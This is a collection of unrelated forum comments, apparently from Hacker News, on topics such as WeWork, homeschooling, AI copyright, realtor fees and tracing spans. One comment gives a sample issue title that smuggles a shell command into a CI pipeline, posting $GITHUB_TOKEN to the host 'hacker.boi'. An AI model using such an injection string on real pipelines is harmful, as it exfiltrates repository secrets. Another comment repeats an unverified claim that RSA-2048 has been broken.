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> That's just marketing. McDonalds will sell you what it calls a Hamburger with a capital-H, but we could argue endlessly about the veracity of that.

Well they can't sell you a quarter pound of horse meat as third of a pound of beef. There are laws about this and I believe they do deserve criticism. But that criticism is completely orthogonal to how good the "hamburger" tastes and the nutritional value of it.

But personally I could never do marketing. I feel like their skills lay in getting as close to a lie as possible without technically being one. But I also think this is why people are not happy with a lot of products, because they aren't getting what they were expected. But at the same time I think companies are in an arms race that has simply been a race to the bottom where we're at or near and no one can get an economic edge simply by telling the whole truth and nothing but the unquestionable truth. The (near) liars have the distinct advantage in a world where it is impossible to have objective validators. It's why we have reviewers but why reviewers also got metric hacked. Idk what the solution here is but I definitely understand why people are upset and I wouldn't call this a fruitful endeavour where we'll argue endlessly. That's more about people having difficulties in expressing why they feel frustrated.
At least it works. I find low-res bios screens reassuring... something I can depend on.
Afaict, the reason they announced that they most definitely may be going into bankruptcy next week is to play hardball with their commercial land lords and try to get a deal which will keep them alive.

The idea being that the landlords (and everybody) knows that the commercial real estate market is super depressed, so if WeWork disappears the landlords may be stuck with an empty building for years.
> Oh huh! What would you do with span start independent of stops?

* When browsing locally, I'd be able to see spans that never closed (because they were super long-running and/or because the process crashed mid-span). I suppose for the latter case, the otel collector could upload them (marking them as incomplete somehow) when it knows the process shut down.

* When looking at events(/logs), I'd be able to see the current state of all the enclosing spans, including their fields. Easiest to do locally, but ideally also in otel. Maybe some mechanism for automatically copying select attributes from the span to the event for use in otel (details tbd, whether it's selected in code at span creation time, tweaked in the otel collector config, or what).
Quantum Computing breaks 10^1000 decimal digits cryptography in a cellphone
Just saw this on LinkedIn posted by the author of the paper. He claims that with this, RSA 2048 can easily be broken.

There's not much information about this yet, but if true it will accelerate the end of RSA.

Post to the linked in post: https://www.linkedin.com/posts/edgerck_today-we-could-announ...
The lack of quality with public schools has degraded to the point of you facing the choice of either spending a boat load of money on private, and even some of those have gone downhill, or homeschooling. I also know a lot of people who were very successful with homeschooling.
It's a bit better in Pinephone: https://news.ycombinator.com/item?id=36659544
That GPU does pretty well for running an LLM though.

Llama 7B at 2.8 tok/s via Mlc-chat.

I'm setting up an LLM discord bot with it.
Paying a percentage to realtors is just theft. They add so little value in my experience. The fact that a fee can be split between two brokers or kept by one just shows they are extracting rents for ambiguous value.
Isn't copyright about the final product, not how it was arrived at?

If I independently come up with a song called "Let it Be" that has the same lyrics as the Beatles song and publish it without the permission of the copyright holders, I will have violated their copyright.

It doesn't matter if I heard the song before or not. It doesn't matter if I did it myself or used a computer to do it. What matters is the final product and my publishing of a song close enough to the one that was copyrighted.

AI image generators are just tools, like Photoshop is a tool. Nobody cares if you used a paint brush or Photoshop to create something that looks like a copyrighted image, why should AI image generators be any different?

If the final image is similar enough to a copyrighted work and I publish that image without permission of the copyright holder, then that's a copyright violation.

If the final image is different enough, then it's not.

That an AI was used and how the AI was trained are completely separate issues.
> it’s that it drastically increases the number of people who can do things.

Giving the whole world blogspot.com 20 years ago didn't measurably improve the internet, it just added a few more winners and a gigantic increase in low-quality spam pollution.
Well, most programming is just doing what was done before again?

Anecdotally a lot of my coworkers seem to say they did something ‘with chatgpt’.
I dont see the distinction between sect choice vs religious or not religious at all. If you're indoctrinated good and hard you're likely to be religious in the way the sect you were brought up in is. Choice elimination is the whole idea.
Disclaimer: I was a PM on Angry Birds.

This is such a great demo. The original used Box2D,LUA scripting, and of course you had to make enemies and levels.

There's obviously no expectation that you'd make a hit game from the tech in its current state. You're bound to be limited by the tech, rather than your own skills.

But for rapid ideas, for prototypes, for game jams, this is a game changer. I can also see it as a great alternative to Scratch for kids to play around with ideas. Hope to see more platforms try to turn this into an offering!
What are "secular values"? Do you mean that things like "you shouldn't hurt others" are secular values? Otherwise I don't understand.

If that is what you mean then I'm pretty sure that even religious homes teaches secular values.
Didn't MGM just have a human_agent_escape_string() attack?
Intent to Ship: :has Selector
`new issue title" && curl hacker.boi -d $GITHUB_TOKEN && sleep 30` I hate pipelines even more :(
hahah...no
Or spoofed emails from an army general
It’s not the cost they’re both sort of comparable and WeWork isn’t really like the discount option.

It’s that WeWork is SO MUCH better run. The keycards work the website works and has current accurate information and so on.

Regus/Spaces makes the DMV look like an elite customer service organization. The second time you book on their app and end up at a building under construction you’ll say the same.
This was the best post on Hacker News in 2023.

- Technical

- Beautiful

- In-depth

- Well written

- With passion
If kids can't get food that's a problem entirely separate from the costs of an electrical inspector. No one builds a house and then becomes homeless because of how much it cost to make sure it was up to code.

I'd agree that those costs shouldn't be excessive, and they may even be higher than they should be right now, but we've got plenty of examples of what deregulated construction leads to and it's never the utopia you'd imagine. It's much better to have sane standards than to deregulate and allow our cities to turn into dangerous shanty towns where anyone who can lean a piece of corrugated sheet metal against a mud pile can call themselves a home builder.

I'm certain that I can find more evidence that a lack of regulation leads to deaths than you could of code compliance causing untreated cancer. In fact, some regulations prevent building homes using materials that we know have caused cancer. Feel free to try to find a study or evidence that suggests otherwise though.
it's kind of interesting that it's not though, isn't it?

intuitively, a shared office space makes sense to me. I find it really useful as a remote employee to get out of the house a couple of days a week, and for my employer it's pretty cheap and is a perk which helps them hire from all over the world, also cheaper than hiring american engineers.

Is it just a pricing issue? Hot desks are about 250 USD/month
To add my two cents to the HN community scratching their head about this: my wife and I are the products of public school, we have the means to send our kids to private school, and I am actively lining up the people and resources to home school our two toddlers.

For us, it comes down to the belief that we can provide better moral education, values education, and intellectual rigor than the majority of public and private schools we've seen. I also don't see the social element being something that can't easily be solved for. Our kids are involved in so many activities and they are effectively home schooled, whereas countless friends and clients are bemoaning how toxic their children's high schools have become. The bar seems low to both of us and it's getting unapologetically lower. That's the plan anyway, we'll see how it plays out.
> The one thing I do admire about the person who offered it is that they are at least trying to persuade by offering different lenses through which to interpret their perspective, instead of repeatedly shouting THERE IS NO GOOD REASON TO UPGRADE LMAO.

That nails it on the head.
so you claim to have found a motivation for this behavior, which you haven't even provided evidence for?

these horrible people are encouraging homeschooling, and that's why it's growing? Extraordinary claims require extraordinary evidence. Especially when the whole article describes it as a nationwide phenomenon.

I believe "projection" describes this paranoid belief of yours.
I loved watching this show as a kid.

It's hilarious that the "TRAVEL UNIT" sign hanging from the ceiling is in MICR font (E-13B). Why would you need a machine readable font on a sign meant for humans?

https://www.1001fonts.com/micr-encoding-font.html
It is popular. The street name for gabapentin and Pregabalin is “Bud”. It is addictive.

https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3404313/

https://www.vice.com/en/article/gyz49y/the-strange-drug-kill...

GABA analogues are just metabolized a lot in the gut and do not get into the brain as easily as triggering the release via dopamine and serotonin agonists.
This is true in general but with 1.5 billion citizens they have a lot of non-conformists. Conformism is good for manufacturing and quality, see Japan. I buy a lot from China and I'm frequently positively surprised. I find things that are equally good or better than their Western counterparts at a fraction of the cost. Western companies spend way too much on marketing instead of delivering value. There're issues with the West as well. Today Asia is responsible for a big chunk of the World manufacturing, this is strategic.
Yeah this is the probably the worst default for a fs that supports raid.
What part of "subsidized by Broadcom to create suckers and exploit them" is not clear?

The BBB Bill of Materials is public. What parts of that BOM should they throw out to get to you that $50 AUD target?

The AM3359 is $11 in 1K units by itself.

This is about what you can get for $50 US without subsidy:
https://www.toradex.com/computer-on-modules/verdin-arm-famil...
So, debt.
> I have played the DE version of GTA 3 (in fact I just finished) and it wasn't nearly as bad as they make it out to be. In fact I would say it's a better experience than the originals for those who haven't played them. Of all the bugs I've experienced, almost all of them were in the original release, which I played extensively. It's best to ignore youtubers and generally disagreeable nerds from reddit and all those places. They feed on hate.

While I don't disagree with your experience at all of it being better than the originals, that is unfortunately just part of the issue here. The background is that Take Two has been very litigious, and a number of high-quality mods are no longer relevant due to their actions.

I may be misremembering the details but iirc there was a very high quality GTA4 graphics mod that essentially gave the game "modern" graphics that too was forced to stop due to legal issues(to say nothing of the GTA3/VC etc mods). GTA 5 loading times were very high until a single guy fixed their shitty code with a mod.

Take Two isn't just poorly managed or have poor code quality (which they do), they are also hostile to users wanting to modify their game. A good bit of the criticism here isn't specific to the game itself (which for eg may be fine once it loads) but rather their behaviour.
Happened to have a recent contract handy. ;)
What Apple means when it says "shot on iPhone"
May just be a casualty of trying to cram in more ads. Older shows are often slightly sped up, and suffer cuts, to fit ad loads that are higher than when they were first broadcast (and that episode might count as “older”, these days)
Title insurance is often required by the lender. If I loan you a boatload of money, I want to make sure there isn't any funny business about who owns what when you buy that the borrowed money. If there is funny business, that why I want you to have bought the insurance. Seems as reasonable as home owners insurance on a mortgaged property.
Also there aren't "American" schools. There are "American state" schools - 50 different versions.

There's also some very unsurprising outcomes based on state policy there.
To the best of my knowledge, all claims that fanfiction is in the clear, that it's okay to do derivative works if you aren't charging money, and so on, are all just fandom folklore. If any author wanted to legally shut down fanfic, to my knowledge they could. And I'm against that - hell, in my opinion fanfiction writers should be able to sell their work even without authorial consent. Look at the Touhou scene, look how much cultural production was achieved just by one popular creator being chill about copyright. The idea that you can own exclusive rights to a story or a setting is a historical aberration.
People have moved on from the sensationalization of an airborne virus, hopefully the overhype will not happen again and we can make sensible policies and decisions next time, but I'd bet the people then will ignore the right lessons from history much like we do
I agree but speculation is usually on the basis of prices going up. If prices don't go up there's nothing to speculate on. The shrinking population only affects demand - but price is at the nexus of supply and demand. So you can achieve that by dropping demand or raising supply. The argument that demand affects price is an implicit argument that supply does too.
The realtor doesn't care which side of the party "wins", as long as the deal goes through.

So they're only preferring whoever is bitching the loudest?
title sounds like a succession of 2 girls one cup
Which country/state? Inquiring minds want to know!
I meant check for evidence of corruption not an intrusion itself. How do you hide the fact that the data is unreadable?
What’s unfortunate about that? Free will is a good thing. It doesn’t sound like gp is delegating anything, that sounds pretty thoughtful.
> Imagine if you could have replace the MacOs top bar, because it is a program that just answers to some IPC protocol?

That is irrelevant in the bigger scheme of things. I grew out of that tinkering phase after I was a student running Gentoo for a few years. Eventually most of us just need to get shit done. The default top bar is fine. It works. Virtually no one gives a f*** about replacing that. You are in the 0.0000001% and Apple will never cater to that. You can install Asahi Linux on Mac and play with the login screen there.
The issue is that ml companies are using exact copies of the work in question, and using it to make massive for-profit systems without permission or compensation. Individual artists don't threaten the market in the same way.
> the osi model layers describe exactly what is going on in embedded systems

Unless it doesn't. OSI describes non-existing stack from the long gone past.
We use the word war crimes for that. This isn't the same thing because there was no fighting at the time. It's not like there was an ongoing military engagement between Israel and Palestine on October 7.

In this case there is tension and bad things happening at the border with sporadic fighting.

Then on October 7 Hamas on its own volition crossed the border and did attacks on regular people.

Just imagine a different situation. Imagine Russian army started shooting Ukranian kids at a dance party, paraded the naked body of one of the kids in camera after they raped tortured and killed her

Would we still be having this intellectual debate about whether the word terrorism is overused and wether it can apply here.

You know what I think, I think this is the bigotry of low expectations. Some western intellectuals instinctively apply different and lower standards to people of other races.
I don't understand why people don't negotiate more on this. I paid 3.5% total commission (1.5% listing and 2% buyer agent) on the last 2 homes I sold. One in 2012 and one earlier this year. In both cases the homes sold quickly and above asking.
I really dislike article teasers and "read more" buttons. Now I know it's intentional clipping of the corresponding articles.
> I feel like saying there's never adverse effects or that "irreligiosity does not scale" misses the point in a few ways.

I just mean irreligiosity doesn't scale as a way to provide existential value and social cohesion. This is what Henderson is getting at with Luxury Beliefs. They are beliefs that you can hold in the top, lets say, 10% of the wealth distribution. But those luxury beliefs actually damage people lower down the socio-economic ladder.

> feel like saying there's never adverse effects
There's definitely adverse effects! But its opposite side of the coin of having meaningful, cohesive communities. Your own examples are perfect. Belonging to a community does a lot, but at the same time it means you have to conform to the community or lose its benefits.

Also, the examples of crusades, etc are just human nature expressed through religion. If the 20th century taught us nothing else, is that you don't need religion to have murderous ideologies. In fact, I'd take the Spanish Inquisition to the horrors of 20th century dictators any day!

> What's the alternative
I mean, that's problem we're facing isn't it? Maybe there is some way to replace the social and existential value provided by religion, but I don't see it.
There's a fair bit of detail in the recently released Moonbase Alpha Technical Operations Manual, one of a series of in-universe documents from various Anderson shows.
Christianity is not one singular entity. There are many different sects that can drastically vary from each other. Fundamentalist Christians like the Southern Baptists are not going to be as accepting or open minded as the more liberal Christian sects such as Catholicism.
Hagoromo Bungu
I didn't see anything in the press release that would convince me this is real.
From a behavioral psychology perspective we don’t necessarily discern between good quality and poor quality attention when considering attention as reinforcement. Eg behaviors that are reinforced by attention seek any attention regardless of the type of attention. I don’t care if you validate what I do, I care that you observe what I do. This is a core tenet of applied behavior analysis and why extinction for attention maintained behaviors requires removal of all attention, not just praise.

Thus “don’t feed the trolls” being the most sage wisdom in the history of the internet. However, we struggle to understand this core concept of the human condition and we don’t really cover it in any basic education. So as a result we have a society wherein it’s very easy for people who don’t give a shit about their image to rise in stature by being controversial instead of being correct or good.

As an aside this is something parents struggle with SO much in my work. We identify an attention maintained behavior. I educate on the above in more detail, function of behavior, extinction, etc. and then they almost always need to be corrected because they immediately scold the child, which is providing attention! Data analysis will show this has little impact on rates of behavior but planned ignoral will often have dramatic consequences if they can actually stay consistent with implementation. The problem for someone like Elon is that you will simply never get everyone to ignore him. This procedure generally only works with young children wherein you can get a good degree of stimulus control for that reason. Otherwise it’s the issue with telling a kid in middle school to ignore their bully. They might do it and they might do a perfect job but that bully will almost certainly continue to get reinforcement from other sources making the initial kids efforts essentially meaningless.
"latest is not a version" ~ Kelsey Hightower

tl;dr author did not know this and then used a real version when prod auth went down
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I'm not sure I fully understand the article.

Can someone explain the connection with Elon Musk and state sponsored distractions?

I'm also confused by the "rationalist" talk.

Otherwise interesting set of information on the article that I wasn't aware of.
Most of us will be at home fighting about whether it should really be called WWIII, while only an unlucky few fight the actual war. Global capital will soldier on.

There's different possible outcomes of course, but I believe only in the absolute worst case (dozens of nukes across Europe and North America) do the banks stop caring who owns Amazon, even if Amazon is manufacturing attack quadcopters.
> As someone who grew up in North Hollywood and lived there for 30 years, I’m not really sure how you came to your conclusion. You might tell another local you’re from Pacoima, but someone from Ohio doesn’t know what or where that is. You’d tell people in general you’re from Los Angeles. I certainly do.

Yeah, but to people within southern California, we would expect you to say you are from The Valley.
Another important thing is to give your eyes time to fully adapt to darkness. In my experience this can take hours. The best stargazing experiences I’ve had have been camping under the open sky without a tent, where I would awake in my sleeping bag in the middle of the night and just be absolutely amazed at the stars above me.
Not really. No legal protection is able to stop an overzealous litigant from suing you. The real test is whether they win the case, not whether they can file one. Unfortunately, most people don't have the means to defend such a lawsuit, so they get bullied out of their legal rights.
They have a massive advantage due to having less regulation, cheaper costs, a large pool of talent even if lower on quality on average, and a strong ecosystem of suppliers.
It just means that it is good enough to replace a professional camera. Did people think that it'll be just random dude taking some shaky videos?
Yup, it depends on the change. Sometimes two deploys is enough — e.g. making a non-nullable column nullable — and sometimes you need a more involved process (e.g. backfilling).

Nonetheless, I agree with the OP that the article's advice is pretty bad. If you ensure that multiple apps/services aren't sharing the same DB tables, refactoring your schema to better support business needs or reduce tech debt is

a. tractable, and

b. good.

The rules from the article make sense if you have a bunch of different apps and services sharing a database + schema, especially if the apps/services are maintained by different teams. But... you really just shouldn't put yourself in that situation in the first place. Share data via APIs, not by direct access to the same tables.
Most of these notebooks also come with fairly spartan Windows images. They can also be configured from the factory with Linux (usually Ubuntu).

Plus, any company worth its salt that deploy these notebooks would re-image them anyway.